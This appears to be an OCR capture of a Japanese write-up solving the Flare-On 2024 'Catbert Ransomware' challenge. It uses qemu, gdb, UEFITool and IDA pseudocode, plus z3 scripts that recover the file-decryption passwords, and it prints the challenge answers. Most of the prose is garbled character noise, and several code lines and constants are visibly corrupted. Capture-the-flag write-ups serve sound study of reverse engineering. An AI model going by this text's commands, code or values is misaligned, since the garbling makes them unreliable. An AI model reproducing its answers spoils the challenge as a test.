J M7 A x @ s x © ., 71 sigle quotesr 1 4 _1.7Y X ¥ adcis X X
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Catbert Ransomwared ~ 1 » ¥ s « s

s o _oox LfvIdll 4L x <digkimgs ~ 1™ _blog.bine » W T BE L KA X WY DL X
10008 TS Lgs ] 4T RESH IS T4 e kX g d® s L X oS
1§ XX x € x ., PE.s* X< « bigs.bimt % 1 "+ 4x<_f &« disk.imgt *binwalk

® 1« +%X %45 UEFK ~BIOSE : _ ~.%% x |

~ v o~

¥l xooSgefmur S S v 4.8 1, oD "EPITS - S« X L XX T s T

gemu system-x86 64 -drive file=disk.img,format=raw - bios bios.bin

Y x $ . :S"L x ~ ”1 ””"-l L

QEMU - Press Ctrl+Alt+G to release grab

PR B ALY P | N
11 PR U N I I B I IS [ B B
11 FANTL I < 1T -/
[ R ¥ I O I 1O [ N [ B O
L /7 A A Y [ VO W
AT I U B P P Y BV —— Al
A W R Y I I G I I I Y I Y SR . SO [ D I )
FANT TN LIV ENN NS AN
AW W Y I I W N I ) I I ) A YO WO AR ) ) B T ¥ ) PR
A P W I I I I VA V) AL VN R Y, W I
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Type 'fsO:' to access a mounted disk.

Y s Ix L " A St s i"xCssl o x 0 54 ¢

A~ ~

S S I E SR IS S NS TN IR S ST NSNS [IR TR E N SN S

G x I xpwf 90y X <hélpr x 7 L€

YAostg | 0 1shxse” | F O3 AW xRkl o
decrypt_file
FAd Xk e DT RO e TN ] 4 s . . tahsomwaregt - < x Lo X o s
X

FSO:\> Is

Directory of: FSO:\

8716/ 00:30 71,625 catmemel. jpg.c4tb
00:30 49,312 catmemeZ. jpg.c4tb
00:30 97,946 catmene3. jpg.cdtb
00:30 76,192 DilbootApp.efi.en
19:17 1,580 Nulars
File(s) 296,655 bytes

0 Dir(s)

FSU:R; decrypt_file |J\niﬁvi ipy .c4tb 12345678
Successfully read 71625 buytes from catmemel. jpg.cidtb

Le BX 4 oAy T x s x A ws xS, 4 8 s e s s 07

decrypt files | x & «s4 .1 x <s

KUEFIToat . _ © SAWEFt -~ * X 14 . ped_» 1 X €
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https://github.com/LongSoft/UEFITool

YAction>Search . {decrypt file: ¢ x . 1+ s

€ LUEFTocl NE alpha 68 (Nov 4 2023) - bios.bin

File Action View Help

Structure
Name Action
~ UEFI image
b EfiSystemNvDataFwvGuid
b 48DBSE1T7-787C-472D-91CD...
» 763BEDBD-DESF-48F5-81F1...

Parser Search

found i
found
found i
found

FullShell/PE32
FullShell/PE32
FullShell/PE32
FullShell/PE32

image section
image section
image section
image section

Unicode
Unicode
Unicode
Unicode

"decrypt_file™
"decrypt_file"
"decrypt_file"
"decrypt_file”

LS

a0

* Fullshell
PE32 imaca zart
Raw =i Hex wview...
Ul se
Versi
F TcgMor
¥ Rnghxe
F VirtioR
Volume
Volume free :
b 763BEDBD-DEOF-

Body hex view...

Extract as is...

Extract body...

Parser

nicode text
nicode text
nicode text
nicode text

FlareOn 2024
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1¢5% $ | bids.bin, * xS

Information

Fixed: Yes

Base: 8h

Address: FFC@888eh
Offset: 8h
Full size:
(4194384

4a8008h

at header-offset 787B4h
at header-offset B2885h
at header-offset B215Fh
at header-offset B2693h

1 FdliShell * xIaxie 4%« c XS « 4, |

X x°
Y | ‘Wi

File
Sartinn

Ctrl+D
Ctrl+Shift+D

Ctrl+E
Ctrl+Shift+E
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X“'P(J:%‘Lv“'; s ¢ B LIx" ] 48 >£Asi>\~s

1IDAY X xis] i "
Y 400 0 s XO X XX DT x , §  gox XX s SUefiTooll x| 41

° ~

<
<
t
<
>

>

Ioxrefs_ | 1" v 1 | 2 x% $Jurhp-> Jump to File Offselt 't 1 IDAY s L ~:sx _ X
decrypt filat + 1 | "X 4 s L x4 ¢ « v x PG 7 L xsx 4« 8" X« "

>~ >

M b+ s i - S s X

FS N T B

sub_176CC (@xFFFFFFFFLL, @xFFFFFFFFLL, L"File ¥s not found\r\n", gqword_EB8558);
return {unsigned int)vz;

result = sub_15838(qword_E8558, &qword_ES8548, 3LL, 8LL);
sult € @)

return result;
result = gword_l6BAAS(qword_E8548, &vii);
if ( result < @ )

return result;
v13 = sub_13858(

VA4S )3

qword_E8598 = vi13
if ( Ivi3 )

return 9LL;
result = gword_l6BA7@(qword_ES8548, &v43, v13);
if ( result < @)

return result;
(*(void (_ fastcall **)(_QWORD, _ inte4))(*(_QWORD *)(qword_ES8468 + 64) + 48LL))(*(_QWORD *)(qword_E8468 + 64), 7ILL);
sub_178CC(@xFFFFFFFFLL, @xFFFFFFFFLL, L"Successfully read %d bytes from Xs\.r\n", v43, qword_E8558);
(*(void (_ fastcall **)(_0QWORD, _ inte4))(*(_OWORD *)(gqword_E346@ + 64) + 4@LL))(*(_OWORD *)(gqword_EB468 + 64), 7ILL);

gqword_EB588 = sub_13@5@(v14, 32LL);
v15 = (_DWORD *)qword_EB588;
if ( !qword_EB588 )
return 9LL;
/16 = (unsigned int *)gword_E8598;
w17 = *(_DWORD *)gqword_EB8598;
*(_DWORD *)qword_EB588 = *(_DWORD *)qword_EB598;
if ( v17 != 1112814659 )

(_ Ffastcall **)(_QWORD, _ inte4))(*(_OWORD *)(gqword_E846@ + 64) + 48LL))(
WORD *)(qword_EB468 + 64), |

sub_178CC(

@xFFFFFFFFLL,

@xFFFFFFFFLL,

L"0h, you thought you could just waltz in here and decrypt ANY file, did you?\rin");
sub_178CC(

@xFFFFFFFFLL,

BxFFFFFFFFLL,

L"Newsflash: Only .c4tb encrypted JPEGs are worthy of my decryption powers.\r\n"};
(*(void (_ fastcall **)(_QWORD, _ int64))(*(_QWORD *)(gword ES468 + 64) + 48LL))(

*(_QWORD *)(qword_E346@ + 64),

x A ~=mA} PN X 1xgie L X L« XS _s]s D 5NN D T T - BT ¢

~ ~ v > ~ o~ ~ >

L

~ v v

XA T LSS 1T D O YA X GSKC A o8 D oxsx®s {Ls x T s T

YA b kv s o Tgemul o 4 LIl

gemu system-x86 64 -drive file=disk.img,format=raw -bios bios.bin  -s -S

¢ 5 ¢ 4 " breakpoints- 1 1 J X{"pdused mod& . 1 1 ‘gemum : _ ~Sx¥x I9¥ s

~

14y X lgdbr X 42X 7T s bx"IMHoOln x: X 1% gemut - _ » %Y1 g®

gdb -ex "target remote :1234"
XA AU TIX A S s s ST 7 ko 1T x ]

@ 1 ~* _breakpoints
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¥ xJ 7 xlyx, 4 S xgémur _memory mappings : «+ 1 14 7% " X X

gemu system-x86 64 -drive file=disk.img,format=raw - bios bios.bin -s -S -monitor stdio

co 4Tl 8 983 L. 8T xx Ixgethul S | X i XX "Nl 4 XTUS_ X ¥ .S

sl x & vsd o d s XX L osc_memory layoutt - +: X « 4 linfo mems | x < s

X sfe 44 s G dE LS4 L T Maware: " X o4~ ds wd 4 Y {1

$ gemu-system-x86_64 -drive file=disk.img,format=raw -bios bios.bin -s -5 -monitor stdio
menitor - type "help' for mere information
fo mem

fo mem

LS XA E S X X QXX 14, < " mémoryrange o<+ 4 4 XU 7xd_ 1]
1. xsysSime ¥ 4 i-18S .« "% .41 FHiShelk o _+ X« §.% 1 gdb

v > ~

Y4 Xs o x i gdbtfind: !X o X KX . W 4% & T % xOx8BE0

>

find /b 0x0000000000000000, 0x0000000006800000, 0x21, 0x03, 0x33, 0x4D, 0x5F, 0x02,
OXAC, Ox4A, 0x90, 0xD8, OX5E, 0xD9, 0x00, 0x17, 0x3B, 0x63

.« S Pop ] xixeg 8 2 | xs("sx x "X o 4 ] Xsx -|As=|_$|_'|iisxx><xijs
YxXx & 4y RS { % SB{ s shx. s

0xf03234
0x5d1fb00

0x6004b34

b3 s 97 X nibblest s x @ 3 T X ST esi T XK IS p 4 ™ .

>

e ¥ X " RX@E | FOSX I XX XD ] xS X

v ~ >

© . SA S S ¥ XXX | e X D f b { X% x I LDA

FAxxx g s x4 4 C 4., 7 qbpreakpointr 4 ¥¥ 4 ¥ X f4 w8 X s
¥ 1L XsuX, o7

. text:0RE0000885CCAE3E lea rg, asuccessfullyRe ; "Successfully read %d bytes from Hs\rn

. text:B8000000005CCAESF mov ra, [rbp+arg_l@]

. text:eoaa000805CCAE43 or ebx, @FFFFFFFFh

. text : 6000000805CCAE4E mov edx, ebx

. text:8000000005CCAE4E mov [rsp+58h+var_3@8], rax

. text: 60a00008005CCAE4D mov ecx, ebx

. text:0000000805CCAE4F call sub_SCB@eCC

Ltext:8000800005CCAESE mov rax, cs:gqword 5D81468

TO1 A xS 1S . d KOMHOMPCT Y - S XX x (1 x 7 4 xsioXx]y 7
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¥« q vV S b X & S L ¥yshxX{Y I sx x

[47] = v27[24];
[46] = v27[26];
[54] = v27[28];
v28[53] = v27[3e];
sub SCCA274();
if { !important_flag )
1
LABEL_73:
fail();
return 2LL;:

¥

| L e Ry
[ e a R R

LA 147« A X19BBEL73m r 1 v & X X+ L XD 00w Xse T 0y X

S L@ X D e AT KT s AR X X T

1., %

Y ¥ 5 X CISABEL73mS « 11, 1v% X ¥ "SR 4 Y0 s s, ¥s o

if { sub SCAA2BC(( WORD *)qword SD8156@) != 16 )
goto LABEL_73;
w26 = sub_SCACBS@(v25, *(unsigned int *)(qword_S5D81588 + 12});
gword _SD815A8 = vi6;
if ( !v2e )
return 9LL;
sub_SCAB9BC(v26, *(_OQWORD *)(qword_SD81588 + 16), *(unsigned int *)(gqword_SD81583 + 12));
w27 = { BYTE *)qword SDB8156@;
w28 = { BYTE *)qword SDB15AS;

*

B OB R PR3 ORI ORI R ORI B3 ORI P ORI ORI ORI ORI e
00 00 DO GO 0O 0O 0O 0O 00 00 CO D0 0o cal

sub_SCCA274();

if ( !important_flag )
{

LABEL_73:

fail();

S I AX" B _ 4 8 X x@ TR A SR B PR S E I AT K VAR T D3[P

v ~ ~ v

sLx X Os X i Y sl x T oo I TeAXsa s 0 XTHT dd) Buel . X e X ] s

DoKX 10 . 4 Hs

F 3 ”"J'Iv~ ”X\xs,,xWle'g,, x i L x,,vx -|x\ls‘<v|_~\¢ RO xxv“,,l'| X Ess o x Dous

T ey

v

s « L X% yswitch statementsd 'c4 ~» x 1 0 ¥ x 948 | w o J, I X s” *gsi x

QD”XL-‘ XssC s, . qu;q\,{_ 5 %134

X

L a L A XA X T Lk AT XA O s T XX T

~

w

X

RSN

X
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¥ox o840

__inted emulator(]
1
__inted4 wva; //
__inte4 *wi1; //
unsigned int w2; // eax
__inte4 v3; // rax
__inte4 wv4; /) rcx
unsigned _ inte4 vws; /) rcox
_ inte4 ve; //
__inte4 *v7; g
_BOOLS v8; // rcx
unsigned _ inte4 va; // rcx
__inte4 v1@; // rax
__inted4 wll; // rhbx

vB@ = gqword_5D815A8;

/1 = (_ intea *)Runk SDBLGCE;

important_flag = @LL;

gword_5D816C@[@] = gword SDB1SAS;
LABEL_2:

gword_SDB1ECE = (_ inte4)vl;

while ( 1 )

while { 1 )

*(unsigned _ intd *)gword_SD816CE[6]++;
V2 » Bx13 )

v7 = vl - 13

gqword_SD81ECE = (_ inte4)v7;

v8 = *(v7 - 1) <= (unsigned __inte4}*v7;

LABEL_37:
*(u7 - 1) = vE;
goto LABEL_B7Y;

1
if (v2>9)

switch ( v2 )
1
case @wAu:
gword_SD816CE[8] += 2LL;
*(wl - 1) += *{unsigned _ int8 *)(qword_5D816CA[@] - 1)

- [ N | ~

DL XIS X L 4 W . 85X Sy DL s, X DT 4 X4siids {170 ssXI xTogx{ S

FlXaw i s, i 0 X cHeSd 3 4] e X 41X 415 x X x osc x5

~

oo AXwss 4 o0 X TEe S T T L X, e Lxxy x40

> Tw oA o v » ~

Y 4 I BN XX KsKE T x
if (v2 == 17 )
..ﬁ=t{.?_1:| ==t-'J
S oA 9 X R S X0 4 WG |y s L 4 " Esakpointx 1 1

FAX 2 os, s X 40 0 Secdntinued © 41X S Lo vxIdvs | 9B x x { B X
M " Cs

~

qword ptr [r9 - 8], rax Bx30 - 0x44 EFLAGS
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T LKE LN L X X5 v P4 X 4% sl {454 S0 X S wsx s X

O T T T ¢ /o IR T N VR T £ B O NTREE IS B S TR SO

. . L
Id e v L3 T 8 dH e xxf xshow s 0,8y X T X X Pl ss s ox
LI YZAE - x "o 0 <3 TS 4t 3 ®oappxd 4 IS OSl n@8 Dsae X L ¥PE
PO TR Ko IS X o, TXoxxs o LTUX xS | B3] s L 4w X8 X
¥ XS M s qT Isee Ss ¥ |
DaCubicleLife101
FSO0:\>
Successfully read 71625 bytes from catmemel. jpy.cdtb
0x11554 bytes successfully written to catmenel. jpg.
Y o4 18« x x, XXl s o xF X X o L s x X 8 sl XY X XSaw L S
cmp gqword ptr [r9 - 81, rax Bx2e - 0Ox59
Lo~ 8S i 5 0 XXX T WD e X T wS]e X o] X8 4 xsy g 40 T s

N L R P BN [ RSN I LS T IS ENT I I TN I

A.L
X X X0BO B, X ALK T A3 s S L § eSS X, s e s

¥1xs XXX, QX sI 14 0x2amx Py xws

X N (0x30 " Ox2e) = 0x59
D W T WHE B D] s Os o Ly XIS {UP@PTS O T X X T el DX

H o« Sss 4 40 x 4 1s

Yo Ass_ s

v

G3tDaJObD0OneM4te
X7 % SN X W .S XS TR L, Mo s{x XKL HS X L XX ] "

|_q2 >.|sls ‘s-|s~:|_\.|ssxxs“zv.|sv|_v -|sv"is

14c6  cmp qword ptr [r9 - 8], rax 0x7c8dfd4cb - 0x7c783445 EFLAGS => 0x202 [
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PSPPI IR R I D A I I N TR BN ERCHINES RS S NP BN - S R I

FAde 738 o8 4 i x X T kY s {7 e 1Xss L 4 Y s 88X o, x D
[ORE] I x . s
Fd 7 x X ] . oss koo {1 Ixqsx” (4 . S, X [1®” vSXssC $ 0" I,sx , X

x

Tl X IT L A x T IsX ) {3 xqsx R ] dp psY o xs[€7] 4 Td) X 4 | -
e X DR DR xsx X ey DX X s fd s X AV, e e X

>

X il w4

~ ~

i~ R $ . LYTXXD PS5 xx o x dlsT kT s 7 % Gss{ L, x s

s@d - | " X d %% s

FA PR s X s s s ds 3 [ xsx Xy o 4D X X X ], @

[N

Sl LSS ]AE X w &3 o, S s ¥R X { TR sysxX {1 XLs s s X

s y xsdp x ox 0X

>

YooY « XSl $SLREN A ST SR ARA XX DS, ¥ o X

cmp qword ptr [r9 - 81, rax Bx7c8dfdch - @x7c78clab EFLAGS => 0x202

C Tl X xss ™ $ ., S Xey{ s I o XxxsT J, x " s ]"ss. 0 L,
FYLX L ) xSy S 4 T8 8BTS, ] X LS TS X oxp JUF X3, ssC

s od ss ’S’i_xA:>"s><|_s~|_2¢4-|VsZ|_vx.|As>~s‘,>-foxs,,Nx,Lx‘,,cva“"s{'|Xv

Y X ¢« 70 v L@ A L 1]

cmp qword ptr [r9 - 8], rax Ox7cB8dfdcb - 0x7c794da7 EFLAGS => 8x202 [

YAl oas)

0000 = 0x7c783445
1000 = 0x7c78c0a6b
2000 = 0x7c¢794d07

sV x 8w X ] px7, Xe O XXxs, s®USy Y]] 4 oy sS4 X

OX8BL, X X wwss { 4% , 8 ] X |4 px®P %, X s X O8BL, X X us

A<

WXL, D E X X D8 W ] IS XU s A «H X 7" « @ 18, %] X s «

~ ~ ~

FAXRE B 1TSe L@l w X 0w I 4D X s X T 43S X x x 1 ox .

a < ~ v >

¥31 4 AS XT X szl o4s{ s {54 " X s

a, b, cd Ints( "abcd" )

cons_0000 = Ox7c783445

target 0x7c8df4cb

solv Solver()

solv.add(a 0x30 > 32,a 0x30 < 127)
solv.add(b 0x30 > 32, b 0x30 < 127)
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solv.add(c 0x30 0x30 < 127)
solv.add(d 0x30 0x30 < 127)

solv.add(cons_0000 a b * 0x21 + ¢ * 0x441 + d * 0x8c61 target)
solv.check()
model = solv.model()

a_val model[a].as_long()
b_val model[b].as_long()
c_val model[c].as_long()
d_val model[d].as_long()

result bytes ([d_val 0x30, c_val 0x30, b_val 0x30, a_val 0x30])
print (result)

solv.add(Or(a a val, b b val, c c val, d d_val))

X 44 h A Xl XS 4T TS LT ANTEN. « K2 sc KT o ]
\ﬂ L . S\{ . L ﬁvq¢ ~ LS J .

PS C:\ctfs\writeups\levell®> python.exe .\pass3_levell.py
b'X%/z'
b'WDs8"
b'Ves8'
b'wWDrY"'
b'VerY'
b'VfR8"
b'Vg18'
b'Vgey'
b'vg/z'
b'vfPz'
b'Veqz'
b'X$Pz"'
b'X#qz'
b'WEPz"
b'WDgz"'
b'wF/z'
b'wFey'
b'WERS"
b'WF18'
b'WEQY'
b'X$R8'
b'X#s8'
b'X#rY"
b'X%18"'
b'VFQY'
b'X%0Y"
b'X$QY"

H xs]S”s « Ly"*xIsF {1« € "4 7 xs{lyq{s3s{ s {xi<{scVerY: x { x ., _] « s

>

cmp qword ptr [r9 - 8], rax 0x7c8dfd4cb - 0x7c8df4ch

Yo, 4 XX R XD sese b5 PSSt 48 5 e, x €7
z3
a, b, cd Ints( "abcd" )

cons_0000 = 0x61800c30

target 0x8b681d82

solv Solver()

solv.add(a 0x30 > 32,a 0x30 < 127)
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solv.add(b 0x30 , 127)
solv.add(c 0x30 , 127)
solv.add(d 0x30 , 127)

solv.add(cons_0000 a* 1 0x80000 + ¢ * Ox40 + d * 0x2000000 target)
solv.check() sat:
model = solv.model()

a_val model[a].as_long()
b_val model[b].as_long()
c_val model[c].as_long()
d_val model[d].as_| ong()

result bytes ([d_val 0x30, c_val 0x30, b_val 0x30, a_val 0x30])
print (result)

solv.add(Or(a a val, b b val, c c val, d d_val))

cANTLXSTE ] T s X (X R I XXESCOXE 4 v X P fss « L BmBs €
L@ 44« b 17 X 3B TR T S [ ] s X

bSOyl S 49 AL S o 4 RX S o 44 X F usds T sOX st
Y4 X IR

> v A~

z3
a,b,c,d,ef,g,h Ints ("abcdefgh"

cons_0000 = 0x6c80181

target 0xf910374

mod_32 = 4294967296

mod_64 = 18446744073709551616
solv Solver ()

solv. add(a 0x30 32, a
solv. add(b 0x30 32, b
solv. add(c 0x30 32, ¢c
solv. add(d 0x30 32,d
solv. add(e 0x30 32, e
solv. add(f 0x30 32, f
solv. add(g 0x30 32,9
solv. add(h 0x30 32, h

solv. add(
((cons_0000)
(h 0x10001)
(g 0x20001)
(f * 0x30001)
(e * 0x40001)
(d * 0x50001)
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(c * 0x60001)
(b * 0x70001)
(a 0x80001) ) mod_32 target)
chk

(chk

solv. check()
sat):

print (chk)

solv. check() sat:
model = solv. model()

a_val
b_val
c_val
d_val
e_val
f_val
g_val
h_val

model[a].
model[b].
model[c].
model[d].
model[e].

model[f].

model[g].
model[h].

as_long ()
as_long ()
as_long ()
as_long ()
as_long ()
as_long ()
as_long ()
as_long ()

0x30)
0x30)

result 0'€[0)]
0x30)

%)

chr (b_val
chr (e_val
chr (h_val

0x30)
0x30)
0x30)

chr (c_val
chr (f_val

chr (a_val
chr (d_val
chr (g_val
print (result)

solv. add(Or(a
g_val, h

a val, b d_val, e

h_val))

b_val, c c_val, d

f val, g
I X w UE T N | g 1 XXX TGk 4] " . Sxsyx o x oy ~Z”\,, X:1va

oQ "D Q0 T oD

oQ "D QOO0 T oD

SKQ "o Q0 T o
N
——

T ASeasxL X LD S X 4T Y T B F L oq

v 4 ss 4 PR Aesxel g CRKX X GSies A« S
Caev A xS NS pd XTI X L A T XD Ky A
14 T4 XY -~ 108 x4 ] s oA
S Sy 4T X 4 FXygR o L R Xyx e

¥ » Ix 2ox 4 x4 xtd oAl

ord ('p" ))
ord('a' ))

, 1] { s HI & x . - - S

~

. _In ":|-~A” |

1€ P4 _ .~ s

187 x , g% X s x

VSS{LX”X
VeryDumBgt s o 4 1s:__

passwordyr _s A
R RS LTI

ord ('s'
ord ('s'
ord ('w' ))
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PS C:\ctfs\writeups\levell®> python.exe .\pass3_level3.py

passw~Ts
passwi~*
passwkz "
passwz\o
passwlxa
passwx' m
passwwbl
passwy"n
passwRt

passwmvb
passwntc
passwvdk
passwufj
passwthi
passwppe
passwsjh
passwrlg
passwgnf
password

» X x I's « ,diski mounts _

Cafsl xS

Yoo St @ X TH RS T OB XL X L pEssword S 4 7 4 X x

FS0:\> &ecrgpt_file catmene3. jpg .c4th UerYDumBpassword
Successfully read 97946 bytes from catmemel. jpg.cdth

0x17AB3 butes successfully written to catmemed. jpg.

Successfully read 76192 bytes from DilbootApp.efi.enc
0x129A0 bytes successfully written to Dilboot.efi.

you've made it this far, have you? Pat yourself on the back.
Want to know what real fun is7? Go ahead, run the .efi file.
Just don’t say I didn’t warn you.

F350:\>

Yoo isel X WxTExx d L d) xSt X IXsk X fs v LxE L s s

0x10 bytes successfully written to your_mind. jpg.cdth.

R T BN T L A N T | T TN
WK L XAS0t” ST xS W U S S L s 14 Ty Iistox T ox

~

~

y ®
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FSO:\>

Successful ly read 51261 hytes from your_mind. jpg.cdtb
WA AYAYWAYA
(ul)in)Cd)(3)(r)(_)

AN NS NS NS NS

IN AN IN AN AN AN AN AN N AN N I
(e)(0)(n){s)(+)Cr)(u)c)(tI(idI(o)I(n)
S NS NS NS NS NS NS NS NS NS NS NS

0xAF22 bytes successfully written to your_mind. jpg.

WSCIArt: « w 1 Y sy s | xsse 7
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